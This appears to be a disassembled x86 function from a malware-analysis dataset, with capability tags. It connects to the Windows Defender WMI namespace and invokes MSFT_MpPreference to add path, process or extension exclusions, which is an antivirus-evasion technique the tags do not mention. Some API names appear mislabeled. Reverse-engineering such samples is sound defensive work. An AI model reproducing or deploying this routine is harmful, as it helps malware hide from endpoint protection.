Function at 0x4011f0
Capabilities:
Check if file exists
Connect to wmi namespace via wbemlocator
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4382fb
mov eax, dword fs:[0]
push eax
sub esp, 0xbc
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
je 0x40123f
mov ecx, dword [ebp - 0x3c]
and ecx, 0x10
je 0x40123f
mov dword [ebp - 0x44], 1
jmp 0x401263
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401256
mov dword [ebp - 0x40], 2
jmp 0x40125d
mov dword [ebp - 0x40], 3
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x1c], str.ExclusionPath
mov dword [ebp - 0x18], str.ExclusionProcess
mov dword [ebp - 0x14], str.ExclusionExtension
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x24], 0
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x401651
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x40164a
lea edx, [ebp - 0x34]
push edx
push 0x43d680
push 1
push 0
push 0x43d690
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x40164a
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x58], edx
push str.ROOTMicrosoftWindowsDefender
lea ecx, [ebp - 0x5c]
call fcn.0040ae70
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x50], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x50]
call fcn.0040ca20
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x24]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
mov edx, dword [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x34]
push eax
call dword [ebp - 0x58]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.0040be20
nop
cmp dword [ebp - 0x20], 0
jl 0x40163b
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x40162c
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x24]
mov eax, dword [edx]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x6c], ecx
push 0x43a3a8
lea ecx, [ebp - 0x70]
call fcn.0040ae70
mov dword [ebp - 0x60], eax
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x64], edx
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x64]
call fcn.0040ca20
mov dword [ebp - 0x68], eax
push 0
lea eax, [ebp - 0x30]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [ebp - 0x6c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x70]
call fcn.0040be20
nop
cmp dword [ebp - 0x20], 0
jl 0x40162c
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x4c]
mov dword [ebp - 0x74], edx
push 0
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x43a3cc
mov ecx, dword [ebp - 0x30]
push ecx
call dword [ebp - 0x74]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x40161d
mov dword [ebp - 0x28], 0
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov ecx, dword [eax + 0x3c]
mov dword [ebp - 0x78], ecx
lea edx, [ebp - 0x28]
push edx
push 0
mov eax, dword [ebp - 0x2c]
push eax
call dword [ebp - 0x78]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x40160e
lea ecx, [ebp - 0xc8]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov edx, 0x2008
mov word [ebp - 0xc8], dx
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0xb4], 0
lea eax, [ebp - 0xb8]
push eax
push 1
push 8
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov dword [ebp - 0xc0], eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x7c], 0
mov edx, dword [ebp - 0x48]
push edx
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0xc0]
push ecx
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
mov dword [ebp - 0x84], edx
push 0x2008
lea eax, [ebp - 0xc8]
push eax
push 0
mov ecx, dword [ebp - 0x80]
mov edx, dword [ebp + ecx*4 - 0x20]
push edx
mov eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x84]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x4015f2
mov dword [ebp - 0x38], 0
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx]
mov eax, dword [edx + 0x60]
mov dword [ebp - 0xa4], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x98], ecx
push 0x43a3d4
lea ecx, [ebp - 0xac]
call fcn.0040ae70
mov dword [ebp - 0x88], eax
mov edx, dword [ebp - 0x88]
mov dword [ebp - 0x8c], edx
mov dword [ebp - 4], 2
mov ecx, dword [ebp - 0x8c]
call fcn.0040ca20
mov dword [ebp - 0x9c], eax
push str.MSFT_MpPreference
lea ecx, [ebp - 0xa8]
call fcn.0040ae70
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x94]
call fcn.0040ca20
mov dword [ebp - 0xa0], eax
push 0
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x98]
push edx
push 0
push 0
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, dword [ebp - 0xa0]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [ebp - 0xa4]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa8]
call fcn.0040be20
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xac]
call fcn.0040be20
nop
cmp dword [ebp - 0x38], 0
je 0x4015f2
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ecx + 8]
call eax
nop
lea ecx, [ebp - 0xc8]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [eax + 8]
call edx
nop
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ecx + 8]
call eax
nop
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [edx + 8]
call ecx
nop
mov edx, dword [ebp - 0x24]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [eax + 8]
call edx
nop
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ecx + 8]
call eax
nop
call dword [sym.imp.ole32.dll_CoUninitialize]
nop
cmp dword [ebp - 0x20], 0
jl 0x401660
mov dword [ebp - 0x4c], 1
jmp 0x401667
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004173a4
mov esp, ebp
pop ebp
ret